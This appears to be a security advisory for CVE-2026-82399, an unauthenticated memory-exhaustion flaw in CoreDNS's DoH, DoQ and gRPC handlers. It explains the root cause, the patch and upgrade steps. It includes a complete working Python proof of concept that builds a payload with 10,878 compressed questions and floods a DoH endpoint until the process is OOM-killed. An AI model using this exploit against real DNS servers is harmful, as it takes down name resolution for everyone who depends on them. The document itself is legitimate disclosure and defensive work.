high · 7.5CVE-2026-82399Sep 17, 2026

CVE-2026-82399: CoreDNS Unauthenticated Memory Exhaustion via Compressed DNS Section Counts

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Sending a single crafted 65 KB DNS-over-HTTPS request to CoreDNS can cause it to allocate over 10 MiB of memory; 32 concurrent requests are enough to OOM-kill the process and take down DNS for every…

Packagegithub.com/coredns/coredns
Ecosystemgo
Affected<= 1.14.6
Fixed in1.14.7

The problem

CoreDNS's DoH, DoH3, DoQ, and gRPC request handlers call dns.Msg.Unpack directly on attacker-supplied bytes without first running the header-acceptance check that the standard UDP/TCP path performs. That check (dns.DefaultMsgAcceptFunc) enforces that QDCOUNT equals one and caps the other section counts.

Because the custom transports skip it, an attacker can set QDCOUNT to 10,878 in a 65,533-byte request body. DNS name compression lets each extra question record reference the same 255-byte label sequence, so unpacking one message allocates well over 10 MiB. The amplification happens before the plugin chain, so rate-limiting plugins cannot stop it.

Proof of concept

A working proof-of-concept for CVE-2026-82399 in github.com/coredns/coredns, with the exact payload below.

python
#!/usr/bin/env python3
# CVE-2026-82399 PoC -- sends one 65,533-byte DoH POST with 10,878
# compressed question records to a CoreDNS DoH endpoint.
# Run: python3 poc.py [--workers 32]
import argparse, concurrent.futures, http.client, ssl, struct
from collections import Counter

def attack_query():
    message = bytearray(65535)
    offset = 12
    name_offset = offset

    # Write one real FQDN (~255 bytes) starting at byte 12
    for size in (63, 63, 63, 61):
        message[offset] = size
        offset += 1
        message[offset:offset + size] = b"\x01" * size
        offset += size
    message[offset] = 0
    offset += 1

    # First question: QTYPE=A, QCLASS=IN
    struct.pack_into("!HH", message, offset, 1, 1)
    offset += 4
    questions = 1

    # Fill remaining space with compressed questions (6 bytes each)
    # Each uses a pointer (0xC000 | name_offset) back to the shared label
    while offset + 6 <= len(message):
        struct.pack_into("!HHH", message, offset,
                         0xC000 | name_offset, 1, 1)
        offset += 6
        questions += 1

    # Write header: QDCOUNT = questions (e.g. 10878)
    struct.pack_into("!HHHHHH", message, 0,
                     0x1234, 0x0100, questions, 0, 0, 0)
    return bytes(message[:offset]), questions

def send(payload):
    ctx = ssl._create_unverified_context()
    conn = http.client.HTTPSConnection("127.0.0.1", 18053,
                                       timeout=3, context=ctx)
    try:
        conn.request("POST", "/dns-query", body=payload,
                     headers={"Content-Type": "application/dns-message"})
        r = conn.getresponse(); r.read()
        return f"http-{r.status}"
    except Exception:
        return "error"
    finally:
        conn.close()

parser = argparse.ArgumentParser()
parser.add_argument("--workers", type=int, default=1)
args = parser.parse_args()
payload, questions = attack_query()
print(f"payload={len(payload)} bytes  questions={questions}")
with concurrent.futures.ThreadPoolExecutor(args.workers) as pool:
    results = pool.map(send, [payload] * args.workers)
print(Counter(results))
# Expected with --workers 32 against a 64 MiB container:
#   Counter({'error': 32})
# docker inspect shows OOMKilled=true ExitCode=137

The root cause is CWE-770: the custom transports allocate a []dns.RR slice for every section count in the 12-byte DNS header before any bounds check runs. dns.Msg.Unpack trusts QDCOUNT literally, so setting it to 10,878 and using a 0xC000-prefixed pointer to reuse a single label sequence produces a massive allocation from a tiny wire payload.

The patch (commit 530b0a5) gates each custom transport on dns.DefaultMsgAcceptFunc before calling Unpack. That function reads only the fixed 12-byte header and rejects any message where QDCOUNT != 1 or any answer/authority/additional count exceeds its hard limit, mirroring the guard that has always protected the UDP and TCP paths.

The fix

Upgrade CoreDNS to v1.14.7. The fix is in commit 530b0a5ff2ad68cc0421f10dd93568945cc671c9, which adds a dns.DefaultMsgAcceptFunc call in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go before any dns.Msg.Unpack call on request bytes.

If an immediate upgrade is not possible, disable DoH, DoH3, DoQ, and gRPC listeners and rely solely on UDP/TCP until you can patch.

Reported by 0xRenSec.

References: [1][2][3][4][5]

Related research